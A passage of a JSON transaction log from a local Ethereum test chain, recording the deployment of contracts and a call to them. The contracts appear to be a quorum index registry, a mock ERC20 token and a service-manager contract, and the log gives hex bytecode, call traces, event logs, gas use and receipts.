604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611118565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146108135760405162461bcd60e51b81526004016102b29061108f565b60005b818110156108cf57600083838381811061083257610832611118565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112e565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111bd565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b600184611199565b63ffffffff168152602081019190915260400160009081205490036103b75760ff8416600090815260026020526040812090610988600184611199565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111da565b81548110610abc57610abc611118565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111da565b81548110610b0357610b03611118565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111da565b81548110610b5d57610b5d611118565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b90920481169383019390935290925090861610610baa576020015192506103fe915050565b5080610bb5816111ed565b915050610b2a565b5060405162461bcd60e51b815260206004820152605560248201527f496e64657852656769737472792e5f6f70657261746f72436f756e744174426c60448201527f6f636b4e756d6265723a2071756f72756d20646964206e6f742065786973742060648201527430ba1033b4bb32b710313637b1b590373ab6b132b960591b608482015260a4016102b2565b60ff8316600090815260026020908152604080832063ffffffff86168452909152812054805b8015610d155760ff8616600090815260026020908152604080832063ffffffff891684529091528120610ca46001846111da565b81548110610cb457610cb4611118565b600091825260209182902060408051808201909152600290920201805463ffffffff9081168084526001909201549383019390935290925090861610610d02576020015192506103b7915050565b5080610d0d816111ed565b915050610c70565b50600095945050505050565b600080610d2d83610ad3565b8054909150600090610d4e90600190600160201b900463ffffffff16611199565b90506103b7848383610d85565b600080610d688484610a7b565b6001810154909150610d7d8585846000610e23565b949350505050565b815463ffffffff438116911603610dba57815463ffffffff8216600160201b0267ffffffff0000000019909116178255505050565b60ff83166000908152600360209081526040808320815180830190925263ffffffff438116835285811683850190815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055505050565b815463ffffffff438116911603610e4057600182018190556108cf565b60ff93909316600090815260026020818152604080842063ffffffff968716855282528084208151808301909252438716825281830197885280546001808201835591865292909420905191909202909101805463ffffffff1916919094161783559251919092015550565b600080600060408486031215610ec157600080fd5b83359250602084013567ffffffffffffffff80821115610ee057600080fd5b818601915086601f830112610ef457600080fd5b813581811115610f0357600080fd5b876020828501011115610f1557600080fd5b6020830194508093505050509250925092565b6020808252825182820181905260009190848201906040850190845b81811015610f6657835163ffffffff1683529284019291840191600101610f44565b50909695505050505050565b803560ff81168114610f8357600080fd5b919050565b803563ffffffff81168114610f8357600080fd5b60008060408385031215610faf57600080fd5b610fb883610f72565b9150610fc660208401610f88565b90509250929050565b600060208284031215610fe157600080fd5b6103b782610f72565b600080600060608486031215610fff57600080fd5b61100884610f72565b925061101660208501610f88565b915061102460408501610f88565b90509250925092565b6020808252825182820181905260009190848201906040850190845b81811015610f6657835183529284019291840191600101611049565b6000806040838503121561107857600080fd5b61108183610f72565b946020939093013593505050565b6020808252604d908201527f496e64657852656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865207265676973747260608201526c3c9031b7b7b93234b730ba37b960991b608082015260a00190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60208082526035908201527f496e64657852656769737472792e72656769737465724f70657261746f723a206040820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff8281168282160390808211156111b6576111b6611183565b5092915050565b63ffffffff8181168382160190808211156111b6576111b6611183565b818103818111156103fe576103fe611183565b6000816111fc576111fc611183565b50600019019056fea2646970667358221220af8de4d3486e0b797de225bb92c1953126cca4d69399c73bf6885ce4485dc52464736f6c63430008180033","gas_used":957925,"gas_limit":1284210,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106100b35760003560e01c8063890262451161007157806389026245146101b3578063a48bb0ac146101d3578063bd29b8cd146101e6578063caa3cd76146101f9578063e2e685801461020f578063f34109221461025557600080fd5b8062bff04d146100b857806312d1d74d146100e157806326d941f2146101155780632ed583e51461012a5780636d14a9871461013d5780638121906f1461017c575b600080fd5b6100cb6100c6366004610eac565b610268565b6040516100d89190610f28565b60405180910390f35b6100f46100ef366004610f9c565b6103be565b60408051825163ffffffff16815260209283015192810192909252016100d8565b610128610123366004610fcf565b610404565b005b6100f4610138366004610fea565b610528565b6101647f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b6040516001600160a01b0390911681526020016100d8565b61018f61018a366004610fcf565b6105ae565b60408051825163ffffffff90811682526020938401511692810192909252016100d8565b6101c66101c1366004610f9c565b6105f5565b6040516100d8919061102d565b61018f6101e1366004610f9c565b610754565b6101286101f4366004610eac565b6107cb565b610201600081565b6040519081526020016100d8565b61024061021d366004611065565b600160209081526000928352604080842090915290825290205463ffffffff1681565b60405163ffffffff90911681526020016100d8565b610240610263366004610fcf565b6108d5565b6060336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146102bb5760405162461bcd60e51b81526004016102b29061108f565b60405180910390fd5b60008267ffffffffffffffff8111156102d6576102d6611102565b6040519080825280602002602001820160405280156102ff578160200160208202803683370190505b50905060005b838110156103b357600085858381811061032157610321611118565b919091013560f81c60008181526003602052604081205491935090915081900361035d5760405162461bcd60e51b81526004016102b29061112e565b6000610368836108f4565b905061037f898461037a600185611199565b6109f1565b8085858151811061039257610392611118565b63ffffffff9290921660209283029190910190910152505050600101610305565b5090505b9392505050565b60408051808201909152600080825260208201526103dc8383610a7b565b60408051808201909152815463ffffffff168152600190910154602082015290505b92915050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461044c5760405162461bcd60e51b81526004016102b29061108f565b60ff8116600090815260036020526040902054156104c65760405162461bcd60e51b815260206004820152603160248201527f496e64657852656769737472792e63726561746551756f72756d3a2071756f72604482015270756d20616c72656164792065786973747360781b60648201526084016102b2565b60ff166000908152600360209081526040808320815180830190925263ffffffff438116835282840185815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055565b604080518082019091526000808252602082015260ff8416600090815260026020908152604080832063ffffffff8088168552925290912080549091841690811061057557610575611118565b600091825260209182902060408051808201909152600290920201805463ffffffff168252600101549181019190915290509392505050565b60408051808201909152600080825260208201526105cb82610ad3565b60408051808201909152905463ffffffff8082168352600160201b90910416602082015292915050565b606060006106038484610b15565b905060008163ffffffff1667ffffffffffffffff81111561062657610626611102565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8263ffffffff1681101561074b5761066e868287610c4a565b82828151811061068057610680611118565b6020026020010181815250506000801b8282815181106106a2576106a2611118565b6020026020010151036107435760405162461bcd60e51b815260206004820152605d60248201527f496e64657852656769737472792e6765744f70657261746f724c69737441744260448201527f6c6f636b4e756d6265723a206f70657261746f7220646f6573206e6f7420657860648201527f6973742061742074686520676976656e20626c6f636b206e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611118565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146108135760405162461bcd60e51b81526004016102b29061108f565b60005b818110156108cf57600083838381811061083257610832611118565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112e565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111bd565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b600184611199565b63ffffffff168152602081019190915260400160009081205490036103b75760ff8416600090815260026020526040812090610988600184611199565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111da565b81548110610abc57610abc611118565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111da565b81548110610b0357610b03611118565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111da565b81548110610b5d57610b5d611118565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b90920481169383019390935290925090861610610baa576020015192506103fe915050565b5080610bb5816111ed565b915050610b2a565b5060405162461bcd60e51b815260206004820152605560248201527f496e64657852656769737472792e5f6f70657261746f72436f756e744174426c60448201527f6f636b4e756d6265723a2071756f72756d20646964206e6f742065786973742060648201527430ba1033b4bb32b710313637b1b590373ab6b132b960591b608482015260a4016102b2565b60ff8316600090815260026020908152604080832063ffffffff86168452909152812054805b8015610d155760ff8616600090815260026020908152604080832063ffffffff891684529091528120610ca46001846111da565b81548110610cb457610cb4611118565b600091825260209182902060408051808201909152600290920201805463ffffffff9081168084526001909201549383019390935290925090861610610d02576020015192506103b7915050565b5080610d0d816111ed565b915050610c70565b50600095945050505050565b600080610d2d83610ad3565b8054909150600090610d4e90600190600160201b900463ffffffff16611199565b90506103b7848383610d85565b600080610d688484610a7b565b6001810154909150610d7d8585846000610e23565b949350505050565b815463ffffffff438116911603610dba57815463ffffffff8216600160201b0267ffffffff0000000019909116178255505050565b60ff83166000908152600360209081526040808320815180830190925263ffffffff438116835285811683850190815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055505050565b815463ffffffff438116911603610e4057600182018190556108cf565b60ff93909316600090815260026020818152604080842063ffffffff968716855282528084208151808301909252438716825281830197885280546001808201835591865292909420905191909202909101805463ffffffff1916919094161783559251919092015550565b600080600060408486031215610ec157600080fd5b83359250602084013567ffffffffffffffff80821115610ee057600080fd5b818601915086601f830112610ef457600080fd5b813581811115610f0357600080fd5b876020828501011115610f1557600080fd5b6020830194508093505050509250925092565b6020808252825182820181905260009190848201906040850190845b81811015610f6657835163ffffffff1683529284019291840191600101610f44565b50909695505050505050565b803560ff81168114610f8357600080fd5b919050565b803563ffffffff81168114610f8357600080fd5b60008060408385031215610faf57600080fd5b610fb883610f72565b9150610fc660208401610f88565b90509250929050565b600060208284031215610fe157600080fd5b6103b782610f72565b600080600060608486031215610fff57600080fd5b61100884610f72565b925061101660208501610f88565b915061102460408501610f88565b90509250925092565b6020808252825182820181905260009190848201906040850190845b81811015610f6657835183529284019291840191600101611049565b6000806040838503121561107857600080fd5b61108183610f72565b946020939093013593505050565b6020808252604d908201527f496e64657852656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865207265676973747260608201526c3c9031b7b7b93234b730ba37b960991b608082015260a00190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60208082526035908201527f496e64657852656769737472792e72656769737465724f70657261746f723a206040820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff8281168282160390808211156111b6576111b6611183565b5092915050565b63ffffffff8181168382160190808211156111b6576111b6611183565b818103818111156103fe576103fe611183565b6000816111fc576111fc611183565b50600019019056fea2646970667358221220af8de4d3486e0b797de225bb92c1953126cca4d69399c73bf6885ce4485dc52464736f6c63430008180033","nonce":41,"gas_used":1088995},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x109de3","logs":[{"address":"0x4826533b4897376654bb4d4ad88b7fafd0c98528","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000080000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000"},"block_hash":"0xb8ffc9bb8b3275fc3e13bc11b54deb052058ef287833da2e6f0d2977104952fc","block_number":6},{"info":{"transaction_hash":"0x949a75614012f11102be7d2731c731cfcc2da208567d936c4d7ffc78d5bcdb88","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x09635f643e140090a9a8dcd712ed6285858cebef","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x09635f643e140090a9a8dcd712ed6285858cebef","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033","output":"0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033","gas_used":264506,"gas_limit":365970,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033","nonce":27,"gas_used":338588},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x52a9c","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xa9206b55f2edb4d12832fa4f317d6113726a20ba27e4de1ae99eb59c4509725a","block_number":24},{"info":{"transaction_hash":"0xd44073f051108c8f3c39edf183d0bcaea084672b414c2374c6d6750e9ef9fa27","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":38658,"gas_limit":66767,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":31336,"gas_limit":58554,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x","nonce":30,"gas_used":60778},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xed6a","logs":[{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000000000000000000"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000002000000000000000000000000000000000000000000000000000000100000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000001000000000100000000000000"},"block_hash":"0x6dcef61d3021154dfd67a56239012afd35bb197a191911c1915a337125415b29","block_number":27},{"info":{"transaction_hash":"0xdd4fff42f8d9680bf11d334823d82956a6fa317bf44fb38c6d96d1ccfd04c9be","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","traces":[{"parent":null,"children":[1,3,5],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6101806040523480156200001257600080fd5b50604051620063e9380380620063e9833981016040819052620000359162000419565b6001600160a01b0380851660805280841660a05280831660c052811660e05281848482846200006362000341565b50505050806001600160a01b0316610100816001600160a01b031681525050806001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e7919062000481565b6001600160a01b0316610120816001600160a01b031681525050806001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000140573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000166919062000481565b6001600160a01b0316610140816001600160a01b031681525050610120516001600160a01b031663df5cf7236040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e8919062000481565b6001600160a01b0390811661016052851690506200023d57604051630b0f5aa160e11b815260206004820152600c60248201526b6176734469726563746f727960a01b60448201526064015b60405180910390fd5b6001600160a01b0383166200028b57604051630b0f5aa160e11b81526020600482015260126024820152713932bbb0b93239a1b7b7b93234b730ba37b960711b604482015260640162000234565b6001600160a01b038216620002e457604051630b0f5aa160e11b815260206004820152601360248201527f7265676973747279436f6f7264696e61746f7200000000000000000000000000604482015260640162000234565b6001600160a01b0381166200032d57604051630b0f5aa160e11b815260206004820152600d60248201526c7374616b65526567697374727960981b604482015260640162000234565b6200033762000341565b50505050620004a8565b600054610100900460ff1615620003ab5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840162000234565b60005460ff9081161015620003fe576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146200041657600080fd5b50565b600080600080608085870312156200043057600080fd5b84516200043d8162000400565b6020860151909450620004508162000400565b6040860151909350620004638162000400565b6060860151909250620004768162000400565b939692955090935050565b6000602082840312156200049457600080fd5b8151620004a18162000400565b9392505050565b60805160a05160c05160e05161010051610120516101405161016051615e33620005b6600039600081816108390152611d8c01526000818161056a0152611f9f01526000818161059e0152818161218c015261237c0152600081816106050152818161159201528181611a5201528181611bf90152611e400152600081816112ca0152818161141b015281816114b201528181613045015281816131be015261325d0152600081816110f10152818161118001528181611200015281816127dc015281816128a801528181612f80015261311901526000818161397f01528181613a3b0152613b1e0152600081816105cf015281816128300152818161290401526129830152615e336000f3fe60806040526004361061028c5760003560e01c8063800fb61f1161015a578063df5cf723116100c1578063f9120af61161007a578063f9120af6146108f3578063fa534dc014610913578063fabc1cbc14610933578063fc299dee14610953578063fce36c7d14610973578063fd4c3b7c1461099357600080fd5b8063df5cf72314610827578063e481af9d1461085b578063ea5ca34b14610870578063f2fde38b14610886578063f474b520146108a6578063f7013ef6146108d357600080fd5b8063a98fb35511610113578063a98fb35514610730578063ab21739a14610750578063b099627e14610770578063b753645e146107da578063b98d0908146107fa578063d66eaabd1461081457600080fd5b8063800fb61f14610672578063886f1195146106925780638da5cb5b146106b257806395c6d604146106d05780639926ee7d146106f0578063a364f4da1461071057600080fd5b80634223d551116101fe5780635df45946116101b75780635df4594614610558578063683048351461058c5780636b3aa72e146105c05780636d14a987146105f3578063